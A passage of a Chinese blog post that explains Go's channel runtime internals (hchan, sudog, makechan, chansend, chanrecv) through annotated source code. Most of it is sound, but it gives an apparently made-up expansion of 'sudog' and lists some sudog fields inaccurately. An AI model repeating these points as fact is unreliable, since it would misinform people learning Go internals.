这些底层函数是Go运行时系统的一部分，用于实现通道的底层操作。通过这些函数，Go语言能够在goroutine之间进行高效、安全的通信和同步。\nchan.go中包含的类 hchan和waitq chan.go中有两个struct:\nhchan, channel的内部实现 waitq, hchan中的recvq和sendq的数据结构 type hchan struct { qcount uint // total data in the queue，队列中总的元素数量 dataqsiz uint // size of the circular queue，环形缓冲区buffer的大小 buf unsafe.Pointer // points to an array of dataqsiz elements，指向buffer中元素的指针 elemsize uint16\t// 表示channel中元素的大小 closed uint32\t// 是否关闭，0表示该channel没有关闭 timer *timer // timer feeding this chan elemtype *_type // element type，channel中元素的类型 sendx uint // send index，buffer中应该发送的元素 recvx uint // receive index，buffer中接收元素的位置 recvq waitq // list of recv waiters，接受者队列 sendq waitq // list of send waiters，发送者队列 // lock protects all fields in hchan, as well as several // fields in sudogs blocked on this channel. // // Do not change another G\u0026#39;s status while holding this lock // (in particular, do not ready a G), as this can deadlock // with stack shrinking. lock mutex } // waitq由一个双向链表实现，元素类型是指向sudog的指针 type waitq struct { first *sudog\tlast *sudog } 关于sudog的补充介绍 在Go语言中，sudog 是一个重要的数据结构，用于在goroutine之间进行通信和同步。它是 \u0026ldquo;Selector User-space Data Object Group\u0026rdquo; 的缩写，表示在用户空间中用于选择器的数据对象组。\nsudog 主要用于实现Go语言中的 select 语句和通道（channel）操作。当一个goroutine在等待通道操作（如发送或接收数据）时，它会被转换为一个 sudog 结构体，并被添加到相应的等待队列中。这样，调度器可以管理这些等待的goroutine，并在通道操作完成后唤醒它们。\n以下是 sudog 结构体的一些关键字段：\ng *g：指向当前等待的goroutine。 elem unsafe.Pointer：指向发送或接收的数据元素。 c *hchan：指向正在操作的通道。 selectDone uint32：用于选择器操作的完成标志。 ticket uint32：用于公平调度。 sudog 结构体的具体实现可以在Go语言的源码中找到，通常位于 runtime 包中。通过使用 sudog，Go语言的调度器能够高效地管理goroutine的等待和唤醒，从而实现高效的并发编程。\n总结来说，sudog 是Go语言运行时系统中的一个关键数据结构，用于管理goroutine在通道操作中的等待和同步。\n// src/runtime/runtime2.go type sudog struct { // The following fields are protected by the hchan.lock of the // channel this sudog is blocking on. shrinkstack depends on // this for sudogs involved in channel ops. // 以下字段受该 sudog 所阻塞的通道的 hchan.lock 保护。 // shrinkstack 依赖这些字段来处理涉及通道操作的 sudogs。 g *g next *sudog prev *sudog elem unsafe.Pointer // data element (may point to stack) // 数据元素（可能指向堆栈） // The following fields are never accessed concurrently. // For channels, waitlink is only accessed by g. // For semaphores, all fields (including the ones above) // are only accessed when holding a semaRoot lock. // 以下字段从未被并发访问。 // 对于通道，waitlink 只被 g 访问。 // 对于信号量，所有字段（包括上述字段）仅在持有 semaRoot 锁时访问。 acquiretime int64 releasetime int64 ticket uint32 // isSelect indicates g is participating in a select, so // g.selectDone must be CAS\u0026#39;d to win the wake-up race. // isSelect 表示 g 正在参与 select，因此 g.selectDone 必须通过 CAS 来赢得唤醒竞争。 isSelect bool // success indicates whether communication over channel c // succeeded. It is true if the goroutine was awoken because a // value was delivered over channel c, and false if awoken // because c was closed. // success 表示通过通道 c 的通信是否成功。如果 goroutine 是因为值通过通道 c 传递而被唤醒，则为 true； // 如果是因为 c 被关闭而被唤醒，则为 false。 success bool // waiters is a count of semaRoot waiting list other than head of list, // clamped to a uint16 to fit in unused space. // Only meaningful at the head of the list. // (If we wanted to be overly clever, we could store a high 16 bits // in the second entry in the list.) // waiters 是 semaRoot 等待列表中除列表头外的计数，被限制为 uint16 以适应未使用的空间。 // 仅在列表头有意义。 // （如果我们想过于聪明，我们可以将高 16 位存储在列表的第二个条目中。） waiters uint16 parent *sudog // semaRoot binary tree // semaRoot 二叉树 waitlink *sudog // g.waiting list or semaRoot // g.waiting 列表或 semaRoot waittail *sudog // semaRoot c *hchan // channel // 通道 } makechan 调用场景 在调用ch := make(chan int,2)函数的时候，编译之后可以发现他调用了makechan这个函数.\n使用的在线的一个查看汇编代码的网站\n实现代码 这是makechan的实现：\nfunc makechan(t *chantype, size int) *hchan { elem := t.Elem // compiler checks this but be safe. if elem.Size_ \u0026gt;= 1\u0026lt;\u0026lt;16 { throw(\u0026#34;makechan: invalid channel element type\u0026#34;) } if hchanSize%maxAlign != 0 || elem.Align_ \u0026gt; maxAlign { throw(\u0026#34;makechan: bad alignment\u0026#34;) } mem, overflow := math.MulUintptr(elem.Size_, uintptr(size)) if overflow || mem \u0026gt; maxAlloc-hchanSize || size \u0026lt; 0 { panic(plainError(\u0026#34;makechan: size out of range\u0026#34;)) } // Hchan does not contain pointers interesting for GC when elements stored in buf do not contain pointers. // buf points into the same allocation, elemtype is persistent. // SudoG\u0026#39;s are referenced from their owning thread so they can\u0026#39;t be collected. // TODO(dvyukov,rlh): Rethink when collector can move allocated objects. var c *hchan switch { case mem == 0: // Queue or element size is zero. c = (*hchan)(mallocgc(hchanSize, nil, true)) // Race detector uses this location for synchronization. c.buf = c.raceaddr() case !elem.Pointers(): // Elements do not contain pointers. // Allocate hchan and buf in one call. c = (*hchan)(mallocgc(hchanSize+mem, nil, true)) c.buf = add(unsafe.Pointer(c), hchanSize) default: // Elements contain pointers. c = new(hchan) c.buf = mallocgc(mem, elem, true) } c.elemsize = uint16(elem.Size_) c.elemtype = elem c.dataqsiz = uint(size) lockInit(\u0026amp;c.lock, lockRankHchan) if debugChan { print(\u0026#34;makechan: chan=\u0026#34;, c, \u0026#34;; elemsize=\u0026#34;, elem.Size_, \u0026#34;; dataqsiz=\u0026#34;, size, \u0026#34;\\n\u0026#34;) } return c } 解读 switch部分，分配内存 mem 是一个 uintptr 类型的变量，用于表示通道缓冲区所需的总内存大小。\nuintptr 的大小足以容纳任何指针的位模式，因此它可以用来进行指针运算和存储指针地址。\n在 Go 语言中，uintptr 通常用于以下几种情况：\n指针运算：由于 uintptr 可以表示指针的整数形式，因此可以用于指针运算，例如计算指针的偏移量。 与 unsafe 包结合使用：unsafe 包提供了一些不安全的操作，例如将指针转换为 uintptr 或将 uintptr 转换为指针。这在进行底层内存操作时非常有用。 存储指针地址：在某些情况下，需要将指针地址存储在一个整数类型中，这时可以使用 uintptr。 需要注意的是，uintptr 不是一个指针类型，因此它不会阻止垃圾回收器回收它所表示的内存。如果需要保持对象存活，应该使用实际的指针类型（如 *T），而不是 uintptr。\n通过这里的代码得到：mem, overflow := math.MulUintptr(elem.Size_, uintptr(size))\nmem 是通过将通道元素的大小（elem.Size_）与通道缓冲区的大小（size）相乘得到的。这个计算过程是通过调用 math.MulUintptr 函数来完成的。\nswitch { case mem == 0: // Queue or element size is zero. // 缓冲区buf大小为0，或者通道元素的大小为0 c = (*hchan)(mallocgc(hchanSize, nil, true)) // Race detector uses this location for synchronization. c.buf = c.raceaddr() case !elem.Pointers(): // Elements do not contain pointers. // 元素不包含指针 // Allocate hchan and buf in one call. // 通过一次调用分配给hchan和buf内存 c = (*hchan)(mallocgc(hchanSize+mem, nil, true)) c.buf = add(unsafe.Pointer(c), hchanSize) default: // Elements contain pointers. // 元素包含指针 c = new(hchan) c.buf = mallocgc(mem, elem, true) } mem == 0 的情况：\n如果 mem 为 0，这意味着通道的缓冲区大小为 0 或者通道元素的大小为 0。 在这种情况下，代码调用 mallocgc 函数分配 hchanSize 大小的内存，并将返回的内存地址转换为 *hchan 类型，赋值给 c。 mallocgc 是 Go 语言运行时系统中的一个内部函数，用于分配内存并进行垃圾回收（GC）标记。由于它是运行时系统的内部函数，通常不会直接在用户代码中使用。相反，用户代码中会使用更高层次的内存分配函数，如 new、make 等，这些函数会在内部调用 mallocgc。\n其他的内存分配函数还有:newobject，也是调用了mallocgc()\n它的函数签名如下：\nfunc mallocgc(size uintptr, typ *_type, needzero bool) unsafe.Pointer 这个函数的参数和返回值解释如下：\nsize uintptr：需要分配的内存大小，以字节为单位。 typ *_type：指向类型信息的指针。_type 是 Go 语言中表示类型信息的一个结构体。 needzero bool：一个布尔值，表示是否需要将分配的内存初始化为零。 返回值：\nunsafe.Pointer：返回一个指向新分配内存的 unsafe.Pointer 指针。 mallocgc 函数的主要作用是分配指定大小的内存，并根据需要进行零初始化。同时，它还会对分配的内存进行垃圾回收标记，以便垃圾回收器能够正确地管理这些内存。\nc.buf = c.raceaddr() 这一行是用于竞态检测器（race detector）的同步操作。 !elem.Pointers() 的情况：\n如果通道元素不包含指针（即元素是基本类型或不包含指针的结构体），则调用 mallocgc 函数一次性分配 hchanSize + mem 大小的内存。 这里 hchanSize 是 hchan 结构体的大小，mem 是通道缓冲区的大小。 分配的内存中，前 hchanSize 字节用于存储 hchan 结构体，后面的 mem 字节用于存储通道缓冲区。 c.buf = add(unsafe.Pointer(c), hchanSize) 这一行将 c.buf 指向缓冲区的起始位置。add 函数用于计算指针的偏移量。 默认情况（default）：\n如果通道元素包含指针（即元素是包含指针的结构体），则首先调用 new(hchan) 分配 hchan 结构体的内存。 然后调用 mallocgc 函数分配 mem 大小的内存用于通道缓冲区，并将返回的内存地址赋值给 c.buf。 这种情况下，hchan 结构体和缓冲区是分开分配的。 总结来说，这段代码根据通道元素是否包含指针以及缓冲区大小是否为 0，选择不同的内存分配策略。这样可以优化内存使用，并确保在元素包含指针时能够正确地进行垃圾回收。\n其他初始化 c.elemsize = uint16(elem.Size_) c.elemtype = elem c.dataqsiz = uint(size) lockInit(\u0026amp;c.lock, lockRankHchan) 这一段是对c（hchan）的元素大小、元素类型、缓冲区大小、锁进行初始化。\nchansend 调用场景 实现代码和解读 chansend1 调用 chansend 函数，传递通道、元素指针、阻塞标志（true）和调用者的程序计数器。 // entry point for c \u0026lt;- x from compiled code. // 编译代码中 c \u0026lt;- x 的入口点。 //go:nosplit func chansend1(c *hchan, elem unsafe.Pointer) { chansend(c, elem, true, getcallerpc()) } chansend1 和 chansend 的区别 chansend1 是一个包装函数，用于在编译代码中调用 chansend。它总是以阻塞模式调用 chansend，即 block 参数为 true。 chansend 是实际执行发送操作的函数，它可以以阻塞或非阻塞模式工作，具体取决于 block 参数的值。 chansend的函数签名解读 func chansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool ep unsafe.Pointer：这是函数的第二个参数。ep 是参数名，unsafe.Pointer 是参数类型。unsafe.Pointer 是一个可以指向任意类型数据的指针类型，通常用于与 Go 的内存管理进行低级别的交互。 block bool：这是函数的第三个参数。block 是参数名，bool 是参数类型。bool 类型表示一个布尔值，可以是 true 或 false。这个参数用于指示函数是否应该在无法立即完成发送操作时阻塞。 callerpc uintptr：这是函数的第四个参数。callerpc 是参数名，uintptr 是参数类型。uintptr 是一个无符号整数类型，通常用于表示指针的数值。callerpc 通常用于记录调用者的程序计数器（program counter），以便进行调试或性能分析。 chansend 检查通道是否为nil 检查通道是否为 nil，如果是非阻塞模式则返回 false，否则让当前 goroutine 进入永久睡眠状态。 func chansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool { if c == nil { // 通道为空并且不阻塞，直接返回false if !block { return false } // 能执行到这里表示通道为空并且block==true，则调用gopark gopark(nil, nil, waitReasonChanSendNilChan, traceBlockForever, 2) throw(\u0026#34;unreachable\u0026#34;) } ... } gopark 是 Go 语言运行时系统中的一个内部函数，用于将当前的 goroutine 挂起（park），使其进入等待状态。这个函数通常在需要让出 CPU 时间片或等待某个条件满足时使用。\n函数签名 gopark 的函数签名如下：\nfunc gopark(unlockf func(*g, unsafe.Pointer) bool, lock unsafe.Pointer, reason waitReason, traceEv byte, traceskip int) 上面的这些判断被称为 fast path，因为加锁的操作是一个很重的操作，所以能够在加锁之前返回的判断就在加锁之前做好是最好的unlockf：一个函数，用于在挂起 goroutine 之前解锁某些资源。这个函数的签名是 func(*g, unsafe.Pointer) bool，其中 *g 是当前 goroutine 的结构体，unsafe.Pointer 是一个指向任意数据的指针。 lock：一个指向锁的指针，用于在挂起 goroutine 之前解锁。 reason：一个 waitReason 类型的值，表示 goroutine 挂起的原因。 traceEv：一个字节值，用于跟踪事件。 traceskip：一个整数值，表示跟踪的跳过层数。 使用场景 gopark 通常在以下几种情况下使用：\n等待通道操作：当 goroutine 在等待通道的发送或接收操作时，如果通道当前不可用，goroutine 会被挂起。 等待锁：当 goroutine 尝试获取一个已经被其他 goroutine 持有的锁时，它会被挂起，直到锁被释放。 等待条件变量：当 goroutine 在等待某个条件变量满足时，它会被挂起，直到条件变量被通知。 Fast Path，检查通道是否未关闭非阻塞且已满 如果通道未关闭且未准备好发送（即通道已满），在非阻塞模式下返回 false。 func chansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool { ... // 非阻塞，未关闭，通道已满 if !block \u0026amp;\u0026amp; c.closed == 0 \u0026amp;\u0026amp; full(c) { return false } ... } full()也是在runtime2.go中定义的一个函数\n// full reports whether a send on c would block (that is, the channel is full). // full函数报告发送操作是否会在channel c上阻塞（如果阻塞了，说明channel已满） // It uses a single word-sized read of mutable state, so although // the answer is instantaneously true, the correct answer may have changed // by the time the calling function receives the return value. // 该函数使用了单个字大小的可变状态读取，所以即使答案在某一时刻上正确的，但是正确的答案也可能在调用函数返回值之前改变 func full(c *hchan) bool { // c.dataqsiz is immutable (never written after the channel is created) // c.dataqsiz是不可变的（在创建通道之后不会改变） // so it is safe to read at any time during channel operation. // 所以在channel操作的任何时刻读取都是安全的 if c.dataqsiz == 0 {\t// dataqsiz表示缓冲区的大小，为0代表无缓冲通道 // Assumes that a pointer read is relaxed-atomic. // 假定指针读取是宽松原子式的 return c.recvq.first == nil\t// 缓冲区的第一个指针为nil代表该chanel可以接收不会阻塞，反之会阻塞 } // 有缓冲通道的情况 // Assumes that a uint read is relaxed-atomic. // 假定读取一个uint是宽松原子式的 return c.qcount == c.dataqsiz\t// 如果channel的元素个数等于channel的缓冲区大小说明已满阻塞，反之则有空不会阻塞 } 宽松原子式（Relaxed-atomic）:\n宽松原子式是指在多线程环境中，对某个变量的读取或写入操作是原子的，即操作是不可分割的，不会被其他线程的操作打断。 在 Go 语言中，通常假设单个字大小的读取和写入操作是原子的，这意味着读取或写入一个字（通常是 32 位或 64 位）的操作不会被其他线程的操作打断。 这种假设简化了并发编程，但需要注意的是，这种原子性是宽松的，因为它不提供顺序或可见性保证 上面的部分是加锁之前的判断，因为加锁是一个很重的操作，所以最好是能不加就能直接判断返回最好，所以有了上面的代码：channel为nil的判断和非阻塞且通道已满的两个判断。\n加锁，并判断channel是否关闭 获取通道锁。 先判断通道是否处于关闭状态，如是解锁并抛出“send on closed channel”异常。 func chansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool { ... var t0 int64\t// 存储时间戳 if blockprofilerate \u0026gt; 0 { t0 = cputicks() } lock(\u0026amp;c.lock) if c.closed != 0 { unlock(\u0026amp;c.lock) panic(plainError(\u0026#34;send on closed channel\u0026#34;)) } ... } 如果有等待的接受者 如果找到等待的接收者，调用 send 函数直接将值传递给接收者。 如果recvq中存在等待的接受者，说明缓冲区是空的，就可以直接把要发的数据发送。\nfunc chansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool { ... if sg := c.recvq.dequeue(); sg != nil { // Found a waiting receiver. We pass the value we want to send // directly to the receiver, bypassing the channel buffer (if any). // 存在一个等待的接收者。我们将要发送的值直接传递给接收者，绕过通道缓冲区（如果有的话）。 // send接受一个通道指针、一个等待接收数据的 goroutine 指针、一个数据指针、一个解锁函数和一个用于堆栈跟踪的整数 // 要求通道 c 必须为空并已上锁。send 使用 unlockf 解锁 c。 // sg 必须已经从 c 中出队。 // ep 必须非空并指向堆或调用者的堆栈。 send(c, sg, ep, func() { unlock(\u0026amp;c.lock) }, 3)\t// 关于send的实现在下面 return true } ... } dequeue 是 Go 语言运行时系统中用于从等待队列（waitq）中移除并返回一个 sudog 结构体的函数。sudog 结构体代表一个正在等待的 goroutine。这个函数的主要目的是从等待队列中安全地移除一个 sudog，并处理一些特殊情况，比如在 select 语句中等待的 goroutine。\nfunc (q *waitq) dequeue() *sudog { for { sgp := q.first if sgp == nil { return nil } y := sgp.next if y == nil { q.first = nil q.last = nil } else { y.prev = nil q.first = y sgp.next = nil // mark as removed (see dequeueSudoG) } // if a goroutine was put on this queue because of a // select, there is a small window between the goroutine // being woken up by a different case and it grabbing the // channel locks. Once it has the lock // it removes itself from the queue, so we won\u0026#39;t see it after that. // We use a flag in the G struct to tell us when someone // else has won the race to signal this goroutine but the goroutine // hasn\u0026#39;t removed itself from the queue yet. if sgp.isSelect \u0026amp;\u0026amp; !sgp.g.selectDone.CompareAndSwap(0, 1) { continue } return sgp } } 如果缓冲区有空间 如果通道缓冲区有空间，将元素入队并解锁。 func chansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool { ... // 执行到这里说明上一条件未满足，即没有等待的接收者 if c.qcount \u0026lt; c.dataqsiz { // Space is available in the channel buffer. Enqueue the element to send. // channel buffer中有可用空间。将要发送的元素入队。 qp := chanbuf(c, c.sendx)\t// 获取缓冲区sendx的指针 if raceenabled {\t// 如果启用了数据竞争检测 racenotify(c, c.sendx, nil)\t// 这个函数用于通知数据竞争检测系统 } typedmemmove(c.elemtype, qp, ep) // 将数据复制到缓冲区 // 更新 sendx 索引，如果达到缓冲区大小，则重置为 0（实现循环缓冲区） c.sendx++ if c.sendx == c.dataqsiz { c.sendx = 0 } c.qcount++\t// 元素个数更新 unlock(\u0026amp;c.lock)\t// 发送数据完成，解锁 return true } ... } chanbuf 是 Go 语言运行时系统中的一个内部函数，用于获取通道（channel）缓冲区中指定索引位置的元素的指针。这个函数通常在通道的发送和接收操作中使用，以便访问和操作通道缓冲区中的数据。\nadd：这是一个内部函数，用于计算地址偏移量。它将缓冲区起始地址 c.buf 加上索引位置 i 乘以元素大小 c.elemsize，得到指定索引位置的元素的指针。 //go:linkname chanbuf func chanbuf(c *hchan, i uint) unsafe.Pointer { return add(c.buf, uintptr(i)*uintptr(c.elemsize)) } 缓冲区已满，如果是非阻塞 如果通道缓冲区已满且非阻塞模式，解锁并返回 false。 上一条件是没有等待的接受者，缓冲区还有空。执行到这里代表缓冲区已满。\n然后分阻塞和非阻塞模式的判断，如果是非阻塞的，不会存入发送队列，直接返回false。\nfunc chansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool { ... if !block { unlock(\u0026amp;c.lock) return false } ... } 为什么非阻塞的不会存入到发送队列？ 非阻塞模式的设计目的： 非阻塞模式的设计目的是为了在发送操作不能立即完成时，不阻塞调用者。这样可以避免发送操作因为等待缓冲区可用空间而导致的线程阻塞，从而提高程序的响应性和并发性能。 直接返回 false 的意义： 当通道缓冲区已满且处于非阻塞模式时，直接返回 false 可以让调用者立即知道发送操作失败。调用者可以根据返回值来决定下一步的操作，比如重试发送、丢弃数据或采取其他策略。 避免不必要的等待： 如果非阻塞模式下仍然尝试将数据存入发送队列并等待缓冲区可用空间，这实际上会导致发送操作阻塞，违背了非阻塞模式的设计初衷。 因此，在非阻塞模式下，如果通道缓冲区已满，发送操作不会将数据存入发送队列，而是直接返回 false，以确保发送操作不会阻塞调用者。\n阻塞，创建sudog入队sendq 如果需要阻塞，获取当前 goroutine 并创建一个 sudog 结构体，将其入队到发送队列，然后让 goroutine 进入睡眠状态。 func chansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool { ... // Block on the channel. Some receiver will complete our operation for us. // 在通道上执行阻塞，别的接收者会完成我们的操作。 gp := getg()\t// 函数用于获取当前执行的 goroutine 的指针 mysg := acquireSudog()\t// acquireSudog() 函数用于获取一个 sudog 结构体，表示一个正在等待的 goroutine。 mysg.releasetime = 0\t// 设置mysg的等待时间为0 if t0 != 0 {\t// 如果上文的t0不为0，则将其设置为-1 mysg.releasetime = -1 } // No stack splits between assigning elem and enqueuing mysg // on gp.waiting where copystack can find it. // 在将 elem 分配给 mysg 并将 mysg 入队到 gp.waiting 之间不能进行堆栈拆分， // copystack 可以在这里找到它。 mysg.elem = ep\t// mysg.elem 设置为要发送的数据的指针。 mysg.waitlink = nil\t// mysg.waitlink 设置为 nil，表示没有下一个等待的 sudog mysg.g = gp\t// mysg.g 设置为当前的 goroutine。 mysg.isSelect = false\t// mysg.isSelect 设置为 false，表示这不是一个 select 操作。 mysg.c = c\t// mysg.c 设置为当前的通道。 gp.waiting = mysg\t// gp.waiting 设置为当前的 sudog，表示当前 goroutine 正在等待。 gp.param = nil\t// gp.param 设置为 nil，表示没有传递参数。 c.sendq.enqueue(mysg)\t// 将mysg入队发送队列 // Signal to anyone trying to shrink our stack that we\u0026#39;re about // to park on a channel. The window between when this G\u0026#39;s status // changes and when we set gp.activeStackChans is not safe for // stack shrinking. // 向任何试图缩小堆栈的人发出信号，表示我们即将挂起通道。 // 此 G 的状态变化与我们设置 gp.activeStackChans 之间的窗口对于堆栈缩小来说是不安全的。 gp.parkingOnChan.Store(true) gopark(chanparkcommit, unsafe.Pointer(\u0026amp;c.lock), waitReasonChanSend, traceBlockChanSend, 2) // Ensure the value being sent is kept alive until the // receiver copies it out. The sudog has a pointer to the // stack object, but sudogs aren\u0026#39;t considered as roots of the // stack tracer. // 确保发送的值在接收者复制它之前保持存活。sudog 有一个指向堆栈对象的指针，但 sudog 并不被视为堆栈跟踪器的根。 // KeepAlive(ep) 的作用是确保发送的值在接收者复制它之前保持存活。即使 goroutine 被挂起，ep 指向的值也不会被垃圾回收器回收。 KeepAlive(ep) ... } 处理唤醒后的操作 如果没有接收者唤醒这个 goroutine，它会一直处于阻塞状态，直到满足以下条件之一：\n有接收者从通道中接收数据，从而释放缓冲区空间，并唤醒发送者。 通道被关闭，此时发送操作会引发 panic。 因此，如果没有接收者唤醒这个 goroutine，它会一直阻塞在 gopark 调用处，直到有接收者接收数据或通道被关闭。\n当被唤醒时，检查是否因为通道关闭而被唤醒，如果是则抛出异常。 这段代码处理的是当发送操作被阻塞后，如何在被唤醒时进行后续处理。具体步骤包括检查等待的 sudog、重置 goroutine 的状态、检查通道是否关闭、记录阻塞事件、重置 sudog 的状态，并处理通道关闭的情况。\nfunc chansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool { ... // someone woke us up. // 有人唤醒这个sudog，如果不是等待的sudog（即当前的mysg，前面设置的），说明等待队列被破坏，抛出错误 if mysg != gp.waiting { throw(\u0026#34;G waiting list is corrupted\u0026#34;) } gp.waiting = nil\t// 表示当前 goroutine 不再等待 gp.activeStackChans = false\t// 表示当前 goroutine 不再活跃在通道上 closed := !mysg.success\tgp.param = nil // 如果 mysg.releasetime 大于 0，表示记录了阻塞开始的时间，调用 blockevent 函数记录阻塞事件。 if mysg.releasetime \u0026gt; 0 { blockevent(mysg.releasetime-t0, 2) } mysg.c = nil\t// mysg.c 设置为 nil，表示 sudog 不再关联任何通道。 releaseSudog(mysg) if closed { if c.closed == 0 { throw(\u0026#34;chansend: spurious wakeup\u0026#34;) } panic(plainError(\u0026#34;send on closed channel\u0026#34;)) } return true } send 的作用 send 函数处理在空通道上的发送操作。它将发送者发送的值直接复制到接收者，并唤醒接收者继续其工作。通道必须为空且已锁定，send 函数在完成后会解锁通道。\nsend 处理在空通道上的发送操作。 将发送者发送的值直接复制到接收者。 解锁通道并唤醒接收者继续其工作。 // send processes a send operation on an empty channel c. // send 处理空通道 c 上的发送操作。 // The value ep sent by the sender is copied to the receiver sg. // 发送者发送的值 ep 被复制到接收者 sg。 // The receiver is then woken up to go on its merry way. // 然后唤醒接收者让其继续。 // Channel c must be empty and locked. send unlocks c with unlockf. // 通道 c 必须为空并已上锁。send 使用 unlockf 解锁 c。 // sg must already be dequeued from c. // sg 必须已经从 c 中出队。 // ep must be non-nil and point to the heap or the caller\u0026#39;s stack. // ep 必须非空并指向堆或调用者的堆栈。 // 接受一个通道指针、一个等待接收数据的 goroutine 指针、一个数据指针、一个解锁函数和一个用于堆栈跟踪的整数 func send(c *hchan, sg *sudog, ep unsafe.Pointer, unlockf func(), skip int) { // 如果启用了竞争检测 if raceenabled { // 无缓冲通道 if c.dataqsiz == 0 { racesync(c, sg) } else { // Pretend we go through the buffer, even though // we copy directly. Note that we need to increment // the head/tail locations only when raceenabled. // 假装我们通过缓冲区，即使我们直接复制。注意，只有启用竞争检测时才需要增加头尾位置。 racenotify(c, c.recvx, nil) racenotify(c, c.recvx, sg) c.recvx++ if c.recvx == c.dataqsiz { c.recvx = 0 } c.sendx = c.recvx // c.sendx = (c.sendx+1) % c.dataqsiz } } if sg.elem != nil {\t// 表示有数据需要发送 sendDirect(c.elemtype, sg, ep)\t// 直接将数据从发送者复制到接收者，这个也是在runtime2.go中定义 sg.elem = nil\t// 发送完成后，将 sg.elem 设置为 nil } gp := sg.g\t// 获取接收者的 goroutine gp unlockf()\t// 调用 unlockf() 解锁通道 gp.param = unsafe.Pointer(sg)\t// 将接收者的 gp.param 设置为 unsafe.Pointer(sg)，表示接收操作成功 sg.success = true if sg.releasetime != 0 {\t// 如果 sg.releasetime 不为 0，则记录当前时间 cputicks() sg.releasetime = cputicks() } goready(gp, skip+1)\t// 调用 goready(gp, skip+1) 将接收者的 goroutine 设置为可运行状态，准备唤醒接收者 } chanrecv 调用场景 在从ch中接收一个数字的时候，可以看到他这里是调用了runtime.chanrecv1()这个函数\n实现代码和解读 chanrecv1 这个函数实际上内部也是调用了chanrecv函数，其中第三个参数为true\n// entry points for \u0026lt;- c from compiled code. // //go:nosplit func chanrecv1(c *hchan, elem unsafe.Pointer) { chanrecv(c, elem, true) } chanrecv2 这个函数实际上内部也是调用了chanrecv函数，其中第三个参数为true，同时有一个返回值\n//go:nosplit func chanrecv2(c *hchan, elem unsafe.Pointer) (received bool) { _, received = chanrecv(c, elem, true) return } chanrecv 判断c是否为nil 若为nil且非阻塞则直接返回(false,false)，若为空且阻塞则将它挂起\n// chanrecv receives on channel c and writes the received data to ep. // chanrecv 接收channel c中的元素，并将接收到的数据写给ep // ep may be nil, in which case received data is ignored. // ep可能为nil，这种情况下接收的数据被忽略 // If block == false and no elements are available, returns (false, false). // 如果是非阻塞，同时没有元素可接收，那就return (false, false) // Otherwise, if c is closed, zeros *ep and returns (true, false). // 否则，如果channel c关闭了，那么会将接收数据的指针ep清零，并且函数返回一个表示操作成功但没有数据接收的(true, false) // Otherwise, fills in *ep with an element and returns (true, true). // 否则，用接收到的元素写入到ep所指向的位置，然后return (true, true) // A non-nil ep must point to the heap or the caller\u0026#39;s stack. // 一个非空的ep必须指向堆，或者调用者的栈 // 函数签名中的接收参数包括 传递参数的通道c，执行接收位置的指针ep，是否阻塞执行block； // 返回值selected表示通道操作是否被选中执行。在Go语言的上下文中，这通常意味着通道操作是否成功，或者是否因为通道关闭而立即返回。 // received：表示是否成功接收到了数据。 func chanrecv(c *hchan, ep unsafe.Pointer, block bool) (selected, received bool) { // raceenabled: don\u0026#39;t need to check ep, as it is always on the stack // or is new memory allocated by reflect. if debugChan { print(\u0026#34;chanrecv: chan=\u0026#34;, c, \u0026#34;\\n\u0026#34;) } if c == nil { if !block { return } gopark(nil, nil, waitReasonChanReceiveNilChan, traceBlockForever, 2) throw(\u0026#34;unreachable\u0026#34;) } if c.timer != nil { c.timer.maybeRunChan() } Fast Path，看能否在加锁之间返回false 在没有加锁之前判断能不能直接返回false\nempty报告了是否读操作会导致阻塞，即通道是否为空。\n函数返回的时刻，结果是原子性正确的（即没有其他并发操作干扰），并且是顺序一致的（即结果反映了调用时刻的状态）。然而，由于通道在函数返回后没有被锁定，因此通道的状态可能会立即发生变化，变得不为空。\n// empty reports whether a read from c would block (that is, the channel is // empty). It is atomically correct and sequentially consistent at the moment // it returns, but since the channel is unlocked, the channel may become // non-empty immediately afterward. func empty(c *hchan) bool { // c.dataqsiz is immutable. // 检查是否是缓冲通道 if c.dataqsiz == 0 { // 如果是非缓冲通道，那么通过原子操作加载 sendq 队列的第一个元素（first）。sendq 是一个等待发送数据的 goroutine 队列。如果 first 为 nil，则表示没有 goroutine 在等待发送数据，因此通道为空。 return atomic.Loadp(unsafe.Pointer(\u0026amp;c.sendq.first)) == nil } // c.timer is also immutable (it is set after make(chan) but before any channel operations). // All timer channels have dataqsiz \u0026gt; 0. if c.timer != nil { c.timer.maybeRunChan() } // 如果通道是有缓冲的，那么通过原子操作加载 qcount 字段，这个字段表示通道缓冲区中当前的数据项数量。如果 qcount 为0，则表示通道为空。 return atomic.Loaduint(\u0026amp;c.qcount) == 0 } // Fast path: check for failed non-blocking operation without acquiring the lock. if !block \u0026amp;\u0026amp; empty(c) {\t// 如果接收操作非阻塞且channel为空（这里的empty代表是否会读取之后阻塞） // After observing that the channel is not ready for receiving, we observe whether the // channel is closed. // 在观察到channel没有准备好接收之后，我们观察channel是否是处于关闭状态 // // Reordering of these checks could lead to incorrect behavior when racing with a close. // 这些检查的重新排序可能会在与关闭操作竞争时导致不正确的行为 // For example, if the channel was open and not empty, was closed, and then drained, // reordered reads could incorrectly indicate \u0026#34;open and empty\u0026#34;. To prevent reordering, // we use atomic loads for both checks, and rely on emptying and closing to happen in // separate critical sections under the same lock. This assumption fails when closing // an unbuffered channel with a blocked send, but that is an error condition anyway. // 例如，如果通道是打开的且非空，然后被关闭，接着被清空， // 重新排序的读取可能会错误地指示“打开且空”。为了防止重新排序， // 我们使用原子加载来进行这两项检查，并依赖于清空和关闭操作在 // 同一个锁下的单独关键部分中发生。这个假设在关闭 // 一个带有阻塞发送的无缓冲通道时失败，但无论如何那都是一个错误条件。 if atomic.Load(\u0026amp;c.closed) == 0 { // Because a channel cannot be reopened, the later observation of the channel // being not closed implies that it was also not closed at the moment of the // first observation. We behave as if we observed the channel at that moment // and report that the receive cannot proceed. // 因为通道不能被重新打开，所以稍后观察到通道 // 未关闭意味着在第一次观察的时刻它也未关闭。我们表现得好像我们在那个时刻观察到了通道 // 并报告接收操作不能继续。 return } // The channel is irreversibly closed. Re-check whether the channel has any pending data // to receive, which could have 